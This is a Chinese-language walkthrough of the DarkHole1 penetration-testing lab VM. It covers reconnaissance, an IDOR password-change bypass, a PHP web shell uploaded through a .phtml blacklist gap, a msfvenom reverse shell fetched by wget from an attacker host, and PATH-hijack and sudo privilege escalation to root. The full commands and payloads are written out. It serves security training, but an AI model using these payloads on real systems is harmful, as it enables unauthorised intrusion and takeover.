darkhole1靶场渗透通关过程
记录下靶场实战的通关过程。主要通关流程是利用web页面的逻辑漏洞进行越权,再绕过文件上传黑名单上传木马getshell,最后通过本地环境变量进行提权。只是一种思路,也可以用一些其他通杀漏洞(CVE-2021-4034)来打。
信息收集
首先拿到靶机ip 扫描c段
nmap -sP 192.168.3.1/24
扫出靶机为192.168.3.129
端口扫描(进行全面扫描防止漏扫)
nmap -p 1-65535 -A 192.168.3.129
目标只开放了22/80端口
80端口识别出服务器为apache2.4.41(这个版本好像存在解析漏洞,后面可能用到),不出意外是php的网页
顺便看下页面源代码,没有找到有用信息
接下来对该网站进行目录搜集
python dirsearch.py -u http://192.168.3.129/
等程序跑完查看报告
# Dirsearch started Sat Oct 1 08:19:33 2022 as: dirsearch.py -u http://192.168.3.129/
403 278B http://192.168.3.129/.ht_wsr.txt
403 278B http://192.168.3.129/.htaccess.bak1
301 311B http://192.168.3.129/js -> REDIRECTS TO: http://192.168.3.129/js/
403 278B http://192.168.3.129/.htaccess.save
403 278B http://192.168.3.129/.htaccess.sample
403 278B http://192.168.3.129/.htaccess.orig
403 278B http://192.168.3.129/.htaccess_extra
403 278B http://192.168.3.129/.htaccess_sc
403 278B http://192.168.3.129/.htaccessOLD
403 278B http://192.168.3.129/.htaccessOLD2
403 278B http://192.168.3.129/.htaccess_orig
403 278B http://192.168.3.129/.htaccessBAK
403 278B http://192.168.3.129/.html
403 278B http://192.168.3.129/.htm
403 278B http://192.168.3.129/.htpasswd_test
403 278B http://192.168.3.129/.htpasswds
403 278B http://192.168.3.129/.httr-oauth
403 278B http://192.168.3.129/.php
301 315B http://192.168.3.129/config -> REDIRECTS TO: http://192.168.3.129/config/
200 947B http://192.168.3.129/config/
301 312B http://192.168.3.129/css -> REDIRECTS TO: http://192.168.3.129/css/
200 21B http://192.168.3.129/dashboard.php
200 1KB http://192.168.3.129/js/
200 2KB http://192.168.3.129/login.php
302 0B http://192.168.3.129/logout.php -> REDIRECTS TO: login.php
200 3KB http://192.168.3.129/register.php
403 278B http://192.168.3.129/server-status
403 278B http://192.168.3.129/server-status/
301 315B http://192.168.3.129/upload -> REDIRECTS TO: http://192.168.3.129/upload/
200 932B http://192.168.3.129/upload/
403状态码为禁止访问
301状态码为永久移动
302状态码为临时移动
搜集200状态码可以成功访问的目录
http://192.168.3.129/config/
http://192.168.3.129/dashboard.php
http://192.168.3.129/js/
http://192.168.3.129/login.php
http://192.168.3.129/register.php
http://192.168.3.129/upload/
接下来看看一下这些页面(根据经验config目录可能存在信息泄露/login与register登录注册页面可能存在逻辑漏洞/upload可能存在文件上传getshell)接下来也会重点关注这几个问题
首先看下config目录
发现database.php,点进去看不到白高兴了
看下dashboard.php
这个也进不去,英文字面意思为仪表板,猜测可能是后台之类的可能得登录才有权限访问
看下js目录
两个js文件,先收集下来后面可能需要进行代码审计(大致看了下没啥用)
dashboard.js
function form_display_hour() {
if (document.getElementById("fallday").checked) {
document.getElementById("fhourdiv").style.display = "none";
} else {
document.getElementById("fhourdiv").style.display = "flex";
}
}
function form_init() {
const today = new Date().toISOString();
const date = today.split("T")[0];
document.getElementById("fdate").min = date;
document.getElementById("fstart").step = 900;
document.getElementById("fend").step = 900;
}
function time_step_str(date, step) {
var minutes = date.getMinutes() + step;
var hours = date.getHours() + Math.floor(minutes / 60);
minutes %= 60;
hour = String(hours).padStart(2, "0");
minutes = String(minutes).padStart(2, "0");
return `${hours}:${minutes}`;
}
function form_validate_hour() {
const start = document.getElementById("fstart");
const end = document.getElementById("fend");
var startDate = new Date();
var endDate = new Date();
startDate.setHours(...start.value.split(":").map(Number));
if (end.value === "") {
end.value = time_step_str(startDate, Number(end.step) / 60);
}
endDate.setHours(...end.value.split(":").map(Number));
if (startDate > endDate) {
end.value = time_step_str(startDate, Number(end.step) / 60);
}
}
form_init();
home.js
window.onscroll = function() {myFunction()};
var header = document.getElementById("nav-bar");
var sticky = header.offsetTop;
function myFunction() {
if (window.pageYOffset > sticky) {
header.classList.add("sticky");
} else {
header.classList.remove("sticky");
}
}
接下来看下login.php
不出意外是个登录页面,后面看看有没有漏洞
然后同样是register.php注册页面
这两个页面都有可能存在sql注入,先不管
接下来看下upload目录
有个图片,看样子在拍电影应该是某个外国明星。有可能图片里隐藏了密码,先收集下来防止被作者偷袭。
目前网站第一层的信息收集的差不多了,进入渗透阶段。
渗透阶段
看样子是只能从登录/注册页面开始下手了
在登录页面拿我的字典弱口令爆破下,看能不能直接登上管理员的账号。(不出意外没跑下来)
那就先注册吧,注册之前养成好习惯把bp启动,拦截到注册的请求包
发现第一个无限注册的漏洞(靶场没卵用),后端只校验用户名/邮箱/在数据库重没重复,并没有验证码进行注册限制。
接下来用注册好的账号登录,在拦截登录第二个包发现个熟悉的身影adshboard.php并且携带id
因为我注册了两个号,admin123和admin1234,admin1234的id为3那么管理员的id可能为1,修改id=1试试能不能越权访问
可以的,给我拦截了,再看看有没有sql注入,靶场懒得手工注入了直接sqlmap跑一下
sqlmap -u "http://192.168.3.129/dashboard.php?id=3" --batch
没跑下来,暂时忽略这个请求包,继续进行渗透
登录不了别人的,老老实实登自己的账号吧,登录成功到了一个可以修改用户信息和密码的页面
先试试修改Details信息,把用户名和邮箱admin1234改成了admin12345,试试把它改成其他存在用户admin123看看可不可以,改完没有效果,当修改id还是被拦截下来了
那么希望全都寄托在修改password的身上了。修改密码发现这个请求包是post的请求,而之前的都是get请求。看看这个接口有没有越权漏洞,更改post请求参数为id=1看看能不能更改管理员账号的密码
因为之前登录弱口令爆破时爆破admin时提示我用户重复了,说明这个用户是存在的,可能就是id=1的用户
尝试用新修改的admin密码登录admin账号,果然成功了
多了个upload模块,很明显了文件上传getshell,接下来就是怎么绕过限制或者黑名单
先上传一句木马试试水
<?php eval($_POST[tpa]);?>
做了上传格式的限制,通过测试找到了黑名单的漏网之鱼.phtml后缀并没有进行限制
蚁剑连接成功 直接getshell
提权阶段
现在用户是www-data接下来要做的就是提权到root
查看敏感文件找到存在可以提权的用户
cat /etc/passwd | grep /bin/bash
去john用户的家目录看看能不能找到有用的信息
ls -lh
1文件类型3文件拥有者权限3文件所属用户组权限3其他用户权限
#文件权限符以 d 开头的代表是文件夹
drwxrwxrwx
#文件权限符以 - 开头的代表是文件(包括硬链接文件,硬链接文件相当于原文件的备份,可以与原文件做到同步更新)
-rwxrwxrwx
#文件权限符以 l 开头的代表是软链接文件,软链接文件相当于原文件的快捷方式
lrwxrwxrwx
#文件权限符以 c 开头的代表是字符设备文件,例:鼠标、键盘;
crwxrwxrwx
#文件权限符以 b 开头的代表是块设备文件,例:硬盘;
brwxrwxrwx
r读w写x执行
SUID提权
这toto命令具有SUID权限,运行一下
看一下角色变没变
是否能查看目录下文件(仍然没有)
这个toto看输出可能是单纯执行了id命令
更改环境变量,等执行./toto时会执行id,执行id时就会执行我们的/bin/bash
echo "/bin/bash" > /tmp/id
chmod 777 /tmp/id
export PATH=/tmp:$PATH
./toto
正常来讲应该是成功了,但这却失败了可能是蚁剑的原因,反弹到kali机上试试
反弹命令还得找怕写错了,直接用msf顺便熟悉下
生成php反弹shell
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.3.128 lport=7777 -o msfshell.php
开启http
python -m http.server 80
蚁剑终端下载msfshell.php
还是先回到upload目录
cd /var/www/html/upload
下载
wget http://192.168.3.128/msfshell.php
kali开启监听端口7777
msfconsole
set lhost 192.168.3.128
set lport 7777
set payload php/meterpreter/reverse_tcp
看看参数是不是都填完了
确认后run开始监听
访问shell文件 触发监听
http://192.168.3.129/upload/msfshell.php
成功拿到meterpreter
进入交互式shell
shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
拿到交互式shell后继续执行刚才环境变量提权的命令,成功进入到john账号
看看john目录下的文件
只看到了password的john的密码root123还是个弱口令
user.txt没权限看不了,还有个空的file.py文件
查看当前用户可运行的文件或命令
sudo -l
需要刚才获取到的密码root123
读取到john能以root权限执行file.py
接下来把john提权到root
写入file.py
echo "import pty;pty.spawn('/bin/bash')" > file.py
执行
sudo python3 /home/john/file.py
成功拿到root